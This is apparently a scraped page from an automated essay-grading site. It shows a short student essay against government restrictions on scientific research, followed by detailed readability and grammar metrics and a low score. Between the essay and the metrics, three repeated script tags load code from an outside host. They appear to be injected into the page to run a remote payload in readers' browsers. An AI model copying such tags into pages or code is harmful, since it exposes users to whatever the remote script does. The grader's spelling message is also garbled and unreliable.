Governments should place few if any, restrictions on scientific research and development
I agree that scientific research shouldn't be restricted. It is the main reason we as humans are able to thrive. If the researchers in the 1900's didn't risk their life stealing cadavers we wouldn't have had modern day anatomy.
Historically speaking, most governments usually don't have the best track record of spending resources on the right areas for research. They tend to rather spend their money on their military rather than space or environment.
However, some might argue that research without restraint can be taken advantage of. People or buisness can start researching in ideas that are profitable but have no use or even be detrimental to mankind. As an example billions of dollars are spent on creating better algorithms to predict the stock market. Money if spent on investing in actual companies would at least create more jobs.
However, we can counter this by making the end goals and certain methods more desirable to do. Like extra funding for research on creating new homes at a cheaper rate.
Rather than placing restrictions, which will end up making it look more desirable. We as the people should incentivize research in areas that benifit us.
<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
| Post date | Users | Rates | Link to Content |
|---|---|---|---|
| 2025-03-27 | me20b2008 | 33 | view |
| 2024-10-19 | Celestina Asantewaa | 83 | view |
| 2024-10-03 | shivamzala17 | 83 | view |
| 2024-10-03 | shivamzala17 | 75 | view |
| 2024-07-01 | MMoksha | 66 | view |
Grammar and spelling errors:
Line 1, column 1, Rule ID: EN_GB_SIMPLE_REPLACE
Message: I is a common American expression, in British English it is more common to use: I
Suggestion: I
I agree that scientific research shouldnt...
^
Transition Words or Phrases used:
but, however, if, look, so, as for, at least
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 7.0 19.5258426966 36% => More to be verbs wanted.
Auxiliary verbs: 7.0 12.4196629213 56% => OK
Conjunction : 5.0 14.8657303371 34% => More conjunction wanted.
Relative clauses : 5.0 11.3162921348 44% => More relative clauses wanted.
Pronoun: 17.0 33.0505617978 51% => OK
Preposition: 23.0 58.6224719101 39% => More preposition wanted.
Nominalization: 1.0 12.9106741573 8% => More nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 1031.0 2235.4752809 46% => More number of characters wanted.
No of words: 196.0 442.535393258 44% => More content wanted.
Chars per words: 5.26020408163 5.05705443957 104% => OK
Fourth root words length: 3.74165738677 4.55969084622 82% => OK
Word Length SD: 3.48765822461 2.79657885939 125% => OK
Unique words: 137.0 215.323595506 64% => More unique words wanted.
Unique words percentage: 0.698979591837 0.4932671777 142% => OK
syllable_count: 295.2 704.065955056 42% => syllable counts are too short.
avg_syllables_per_word: 1.5 1.59117977528 94% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 5.0 6.24550561798 80% => OK
Article: 0.0 4.99550561798 0% => OK
Subordination: 2.0 3.10617977528 64% => OK
Conjunction: 0.0 1.77640449438 0% => OK
Preposition: 1.0 4.38483146067 23% => More preposition wanted as sentence beginning.
Performance on sentences:
How many sentences: 13.0 20.2370786517 64% => Need more sentences. Double check the format of sentences, make sure there is a space between two sentences, or have enough periods. And also check the lengths of sentences, maybe they are too long.
Sentence length: 15.0 23.0359550562 65% => The Avg. Sentence Length is relatively short.
Sentence length SD: 24.6668620143 60.3974514979 41% => The essay contains lots of sentences with the similar length. More sentence varieties wanted.
Chars per sentence: 79.3076923077 118.986275619 67% => OK
Words per sentence: 15.0769230769 23.4991977007 64% => OK
Discourse Markers: 3.38461538462 5.21951772744 65% => OK
Paragraphs: 6.0 4.97078651685 121% => OK
Language errors: 1.0 7.80617977528 13% => OK
Sentences with positive sentiment : 6.0 10.2758426966 58% => More positive sentences wanted.
Sentences with negative sentiment : 4.0 5.13820224719 78% => OK
Sentences with neutral sentiment: 4.0 4.83258426966 83% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.138413242715 0.243740707755 57% => OK
Sentence topic coherence: 0.045417967475 0.0831039109588 55% => OK
Sentence topic coherence SD: 0.0505858946572 0.0758088955206 67% => OK
Paragraph topic coherence: 0.0622649355212 0.150359130593 41% => OK
Paragraph topic coherence SD: 0.0422335586144 0.0667264976115 63% => OK
Essay readability:
automated_readability_index: 10.9 14.1392134831 77% => Automated_readability_index is low.
flesch_reading_ease: 64.71 48.8420337079 132% => OK
smog_index: 3.1 7.92365168539 39% => Smog_index is low.
flesch_kincaid_grade: 8.0 12.1743820225 66% => OK
coleman_liau_index: 12.64 12.1639044944 104% => OK
dale_chall_readability_score: 8.57 8.38706741573 102% => OK
difficult_words: 52.0 100.480337079 52% => More difficult words wanted.
linsear_write_formula: 7.0 11.8971910112 59% => Linsear_write_formula is low.
gunning_fog: 8.0 11.2143820225 71% => OK
text_standard: 8.0 11.7820224719 68% => The average readability is low. Need to imporve the language.
What are above readability scores?
---------------------
Minimum 250 words wanted.
Rates: 33.33 out of 100
Scores by essay e-grader: 2.0 Out of 6
---------------------
Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.